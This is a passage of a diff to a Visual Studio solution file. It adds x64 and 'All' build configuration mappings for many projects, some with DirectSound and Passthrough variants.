+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.All|x64.ActiveCfg = Release|x64
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.All|x64.Build.0 = Release|x64
 		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Debug|Win32.ActiveCfg = Debug|Win32
 		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Debug|Win32.Build.0 = Debug|Win32
 		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Debug|x64.ActiveCfg = Debug|Win32
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Debug|x64.Build.0 = Debug|Win32
 		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Release|Win32.ActiveCfg = Release|Win32
 		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Release|Win32.Build.0 = Release|Win32
-		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Release|x64.ActiveCfg = Release|Win32
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Release|x64.ActiveCfg = Release|x64
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Release|x64.Build.0 = Release|x64
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.All|Win32.ActiveCfg = Release DirectSound|x64
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.All|x64.ActiveCfg = Release DirectSound|x64
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.All|x64.Build.0 = Release DirectSound|x64
 		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Debug|Win32.Build.0 = Debug|Win32
 		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Debug|x64.ActiveCfg = Debug|Win32
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Debug|x64.Build.0 = Debug|Win32
 		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Release|Win32.ActiveCfg = Release|Win32
 		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Release|Win32.Build.0 = Release|Win32
-		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Release|x64.ActiveCfg = Release|Win32
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Release|x64.ActiveCfg = Release|x64
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Release|x64.Build.0 = Release|x64
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.All|Win32.ActiveCfg = Release|x64
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.All|x64.ActiveCfg = Release|x64
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.All|x64.Build.0 = Release|x64
 		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Debug|Win32.ActiveCfg = Debug|Win32
 		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Debug|Win32.Build.0 = Debug|Win32
 		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Debug|x64.ActiveCfg = Debug|Win32
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Debug|x64.Build.0 = Debug|Win32
 		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Release|Win32.ActiveCfg = Release|Win32
 		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Release|Win32.Build.0 = Release|Win32
-		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Release|x64.ActiveCfg = Release|Win32
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Release|x64.ActiveCfg = Release|x64
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Release|x64.Build.0 = Release|x64
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.All|Win32.ActiveCfg = Release Passthrough|x64
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.All|x64.ActiveCfg = Release Passthrough|x64
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.All|x64.Build.0 = Release Passthrough|x64
 		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Debug|Win32.ActiveCfg = Debug Passthrough|Win32
 		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Debug|Win32.Build.0 = Debug Passthrough|Win32
-		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Debug|x64.ActiveCfg = Debug|Win32
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Debug|x64.ActiveCfg = Debug Passthrough|Win32
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Debug|x64.Build.0 = Debug Passthrough|Win32
 		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Release|Win32.ActiveCfg = Release Passthrough|Win32
 		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Release|Win32.Build.0 = Release Passthrough|Win32
-		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Release|x64.ActiveCfg = Release|Win32
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Release|x64.ActiveCfg = Release Passthrough|x64
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Release|x64.Build.0 = Release Passthrough|x64
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.All|Win32.ActiveCfg = Release|x64
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.All|x64.ActiveCfg = Release|x64
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.All|x64.Build.0 = Release|x64
 		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Debug|Win32.Build.0 = Debug|Win32
 		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Debug|x64.ActiveCfg = Debug|Win32
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Debug|x64.Build.0 = Debug|Win32
 		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Release|Win32.ActiveCfg = Release|Win32
 		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Release|Win32.Build.0 = Release|Win32
-		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Release|x64.ActiveCfg = Release|Win32
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Release|x64.ActiveCfg = Release|x64
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Release|x64.Build.0 = Release|x64
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.All|Win32.ActiveCfg = Release|x64
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.All|x64.ActiveCfg = Release|x64
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.All|x64.Build.0 = Release|x64
 		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Debug|Win32.ActiveCfg = Debug|Win32
 		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Debug|Win32.Build.0 = Debug|Win32
 		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Debug|x64.ActiveCfg = Debug|Win32
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Debug|x64.Build.0 = Debug|Win32
 		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Release|Win32.ActiveCfg = Release|Win32
 		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Release|Win32.Build.0 = Release|Win32
-		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Release|x64.ActiveCfg = Release|Win32
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Release|x64.ActiveCfg = Release|x64
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Release|x64.Build.0 = Release|x64
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.All|Win32.ActiveCfg = Release|x64
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.All|x64.ActiveCfg = Release|x64
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.All|x64.Build.0 = Release|x64
 		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Debug|Win32.Build.0 = Debug|Win32
 		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Debug|x64.ActiveCfg = Debug|Win32
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Debug|x64.Build.0 = Debug|Win32
 		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Release|Win32.ActiveCfg = Release|Win32
 		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Release|Win32.Build.0 = Release|Win32
-		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Release|x64.ActiveCfg = Release|Win32
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Release|x64.ActiveCfg = Release|x64
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Release|x64.Build.0 = Release|x64
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.All|Win32.ActiveCfg = Release|x64
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.All|x64.ActiveCfg = Release|x64
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.All|x64.Build.0 = Release|x64
 		{028C7278-05D7-4E18-82FE-BE231B844F41}.Debug|Win32.ActiveCfg = Debug|Win32
 		{028C7278-05D7-4E18-82FE-BE231B844F41}.Debug|Win32.Build.0 = Debug|Win32
 		{028C7278-05D7-4E18-82FE-BE231B844F41}.Debug|x64.ActiveCfg = Debug|Win32
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.Debug|x64.Build.0 = Debug|Win32
 		{028C7278-05D7-4E18-82FE-BE231B844F41}.Release|Win32.ActiveCfg = Release|Win32
 		{028C7278-05D7-4E18-82FE-BE231B844F41}.Release|Win32.Build.0 = Release|Win32
-		{028C7278-05D7-4E18-82FE-BE231B844F41}.Release|x64.ActiveCfg = Release|Win32
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.Release|x64.ActiveCfg = Release|x64
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.Release|x64.Build.0 = Release|x64
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.All|Win32.ActiveCfg = Release|x64
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.All|x64.ActiveCfg = Release|x64
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.All|x64.Build.0 = Release|x64
 		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Debug|Win32.Build.0 = Debug|Win32
 		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Debug|x64.ActiveCfg = Debug|Win32
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Debug|x64.Build.0 = Debug|Win32
 		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Release|Win32.ActiveCfg = Release|Win32
 		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Release|Win32.Build.0 = Release|Win32
-		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Release|x64.ActiveCfg = Release|Win32
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Release|x64.ActiveCfg = Release|x64
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Release|x64.Build.0 = Release|x64
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.All|Win32.ActiveCfg = Release|x64
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.All|x64.ActiveCfg = Release|x64
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.All|x64.Build.0 = Release|x64
 		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Debug|Win32.Build.0 = Debug|Win32
 		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Debug|x64.ActiveCfg = Debug|Win32
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Debug|x64.Build.0 = Debug|Win32
 		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Release|Win32.ActiveCfg = Release|Win32
 		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Release|Win32.Build.0 = Release|Win32
-		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Release|x64.ActiveCfg = Release|Win32
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Release|x64.ActiveCfg = Release|x64
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Release|x64.Build.0 = Release|x64
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.All|Win32.ActiveCfg = Release|x64
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.All|x64.ActiveCfg = Release|x64
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.All|x64.Build.0 = Release|x64
 		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Debug|Win32.Build.0 = Debug|Win32
 		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Debug|x64.ActiveCfg = Debug|Win32
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Debug|x64.Build.0 = Debug|Win32
 		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Release|Win32.ActiveCfg = Release|Win32
 		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Release|Win32.Build.0 = Release|Win32
-		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Release|x64.ActiveCfg = Release|Win32
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Release|x64.ActiveCfg = Release|x64
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Release|x64.Build.0 = Release|x64
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.All|Win32.ActiveCfg = Release|x64
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.All|x64.ActiveCfg = Release|x64
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.All|x64.Build.0 = Release|x64
 		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Debug|Win32.ActiveCfg = Debug|Win32
 		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Debug|Win32.Build.0 = Debug|Win32
 		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Debug|x64.ActiveCfg = Debug|Win32
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Debug|x64.Build.0 = Debug|Win32
 		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Release|Win32.ActiveCfg = Release|Win32
 		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Release|Win32.Build.0 = Release|Win32
-		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Release|x64.ActiveCfg = Release|Win32
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Release|x64.ActiveCfg = Release|x64
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Release|x64.Build.0 = Release|x64
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.All|Win32.ActiveCfg = Release|x64
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.All|x64.ActiveCfg = Release|x64
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.All|x64.Build.0 = Release|x64
 		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Debug|Win32.ActiveCfg = Debug|Win32
 		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Debug|Win32.Build.0 = Debug|Win32
 		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Debug|x64.ActiveCfg = Debug|Win32
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Debug|x64.Build.0 = Debug|Win32
 		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Release|Win32.ActiveCfg = Release|Win32
 		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Release|Win32.Build.0 = Release|Win32
-		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Release|x64.ActiveCfg = Release|Win32
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Release|x64.ActiveCfg = Release|x64
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Release|x64.Build.0 = Release|x64
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.All|Win32.ActiveCfg = Release|x64
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.All|x64.ActiveCfg = Release|x64
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.All|x64.Build.0 = Release|x64
 		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Debug|Win32.ActiveCfg = Debug|Win32
 		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Debug|Win32.Build.0 = Debug|Win32
 		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Debug|x64.ActiveCfg = Debug|Win32
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Debug|x64.Build.0 = Debug|Win32
 		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Release|Win32.ActiveCfg = Release|Win32
 		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Release|Win32.Build.0 = Release|Win32
-		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Release|x64.ActiveCfg = Release|Win32
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Release|x64.ActiveCfg = Release|x64
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Release|x64.Build.0 = Release|x64
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.All|Win32.ActiveCfg = Release|x64
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.All|x64.ActiveCfg = Release|x64
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.All|x64.Build.0 = Release|x64
 		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Debug|Win32.ActiveCfg = Debug|Win32
 		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Debug|Win32.Build.0 = Debug|Win32
 		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Debug|x64.ActiveCfg = Debug|Win32
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Debug|x64.Build.0 = Debug|Win32
 		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Release|Win32.ActiveCfg = Release|Win32
 		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Release|Win32.Build.0 = Release|Win32
-		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Release|x64.ActiveCfg = Release|Win32
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Release|x64.ActiveCfg = Release|x64
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Release|x64.Build.0 = Release|x64
+		{F6A33240-8F29-48BD-98F0-826995911799}.All|Win32.ActiveCfg = Release|x64
+		{F6A33240-8F29-48BD-98F0-826995911799}.All|x64.ActiveCfg = Release|x64
+		{F6A33240-8F29-48BD-98F0-826995911799}.All|x64.Build.0 = Release|x64
 		{F6A33240-8F29-48BD-98F0-826995911799}.Debug|Win32.ActiveCfg = Debug|Win32
 		{F6A33240-8F29-48BD-98F0-826995911799}.Debug|Win32.Build.0 = Debug|Win32
 		{F6A33240-8F29-48BD-98F0-826995911799}.Debug|x64.ActiveCfg = Debug|Win32
+		{F6A33240-8F29-48BD-98F0-826995911799}.Debug|x64.Build.0 = Debug|Win32
 		{F6A33240-8F29-48BD-98F0-826995911799}.Release|Win32.ActiveCfg = Release|Win32
 		{F6A33240-8F29-48BD-98F0-826995911799}.Release|Win32.Build.0 = Release|Win32
-		{F6A33240-8F29-48BD-98F0-826995911799}.Release|x64.ActiveCfg = Release|Win32
+		{F6A33240-8F29-48BD-98F0-826995911799}.Release|x64.ActiveCfg = Release|x64
+		{F6A33240-8F29-48BD-98F0-826995911799}.Release|x64.Build.0 = Release|x64
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.All|Win32.ActiveCfg = Release|x64
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.All|x64.ActiveCfg = Release|x64
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.All|x64.Build.0 = Release|x64
 		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Debug|Win32.Build.0 = Debug|Win32
 		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Debug|x64.ActiveCfg = Debug|Win32
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Debug|x64.Build.0 = Debug|Win32
 		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Release|Win32.ActiveCfg = Release|Win32
 		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Release|Win32.Build.0 = Release|Win32
-		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Release|x64.ActiveCfg = Release|Win32
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Release|x64.ActiveCfg = Release|x64
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Release|x64.Build.0 = Release|x64
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.All|Win32.ActiveCfg = Release|x64
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.All|x64.ActiveCfg = Release|x64
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.All|x64.Build.0 = Release|x64
 		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Debug|Win32.ActiveCfg = Debug|Win32
 		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Debug|Win32.Build.0 = Debug|Win32
 		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Debug|x64.ActiveCfg = Debug|Win32
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Debug|x64.Build.0 = Debug|Win32
 		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Release|Win32.ActiveCfg = Release|Win32
 		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Release|Win32.Build.0 = Release|Win32
-		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Release|x64.ActiveCfg = Release|Win32
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Release|x64.ActiveCfg = Release|x64
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Release|x64.Build.0 = Release|x64
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.All|Win32.ActiveCfg = Release|x64
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.All|x64.ActiveCfg = Release|x64
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.All|x64.Build.0 = Release|x64
 		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Debug|Win32.Build.0 = Debug|Win32
 		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Debug|x64.ActiveCfg = Debug|Win32
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Debug|x64.Build.0 = Debug|Win32
 		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Release|Win32.ActiveCfg = Release|Win32
 		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Release|Win32.Build.0 = Release|Win32
-		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Release|x64.ActiveCfg = Release|Win32
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Release|x64.ActiveCfg = Release|x64
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.Release|x64.Build.0 = Release|x64
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.All|Win32.ActiveCfg = Release|x64
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.All|x64.ActiveCfg = Release|x64
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.All|x64.Build.0 = Release|x64
 		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Debug|Win32.ActiveCfg = Debug|Win32
 		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Debug|Win32.Build.0 = Debug|Win32
 		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Debug|x64.ActiveCfg = Debug|Win32
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Debug|x64.Build.0 = Debug|Win32
 		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Release|Win32.ActiveCfg = Release|Win32
 		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Release|Win32.Build.0 = Release|Win32
-		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Release|x64.ActiveCfg = Release|Win32
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Release|x64.ActiveCfg = Release|x64
+		{44D7DEAF-FDA5-495E-8B9D-1439E4F4C21E}.Release|x64.Build.0 = Release|x64
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.All|Win32.ActiveCfg = Release|x64
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.All|x64.ActiveCfg = Release|x64
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.All|x64.Build.0 = Release|x64
 		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Debug|Win32.ActiveCfg = Debug|Win32
 		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Debug|Win32.Build.0 = Debug|Win32
 		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Debug|x64.ActiveCfg = Debug|Win32
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Debug|x64.Build.0 = Debug|Win32
 		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Release|Win32.ActiveCfg = Release|Win32
 		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Release|Win32.Build.0 = Release|Win32
-		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Release|x64.ActiveCfg = Release|Win32
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Release|x64.ActiveCfg = Release|x64
+		{6FF941AC-82C5-429F-AA4C-AD2FB9E5DA52}.Release|x64.Build.0 = Release|x64
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.All|Win32.ActiveCfg = Release|x64
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.All|x64.ActiveCfg = Release|x64
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.All|x64.Build.0 = Release|x64
 		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Debug|Win32.ActiveCfg = Debug|Win32
 		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Debug|Win32.Build.0 = Debug|Win32
 		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Debug|x64.ActiveCfg = Debug|Win32
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Debug|x64.Build.0 = Debug|Win32
 		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|Win32.ActiveCfg = Release|Win32
 		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|Win32.Build.0 = Release|Win32
-		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|x64.ActiveCfg = Release|Win32
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|x64.ActiveCfg = Release|x64
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|x64.Build.0 = Release|x64
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.All|Win32.ActiveCfg = Release|x64
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.All|x64.ActiveCfg = Release|x64
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.All|x64.Build.0 = Release|x64
 		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Debug|Win32.ActiveCfg = Debug|Win32
 		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Debug|Win32.Build.0 = Debug|Win32
 		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Debug|x64.ActiveCfg = Debug|Win32
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Debug|x64.Build.0 = Debug|Win32
 		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Release|Win32.ActiveCfg = Release|Win32
 		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Release|Win32.Build.0 = Release|Win32
-		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Release|x64.ActiveCfg = Release|Win32
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Release|x64.ActiveCfg = Release|x64
+		{42B6C2E3-7D5F-4204-A1F6-C0376B86C315}.Release|x64.Build.0 = Release|x64
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.All|Win32.ActiveCfg = Release|x64
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.All|x64.ActiveCfg = Release|x64
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.All|x64.Build.0 = Release|x64
 		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Debug|Win32.ActiveCfg = Debug|Win32
 		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Debug|Win32.Build.0 = Debug|Win32
 		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Debug|x64.ActiveCfg = Debug|Win32
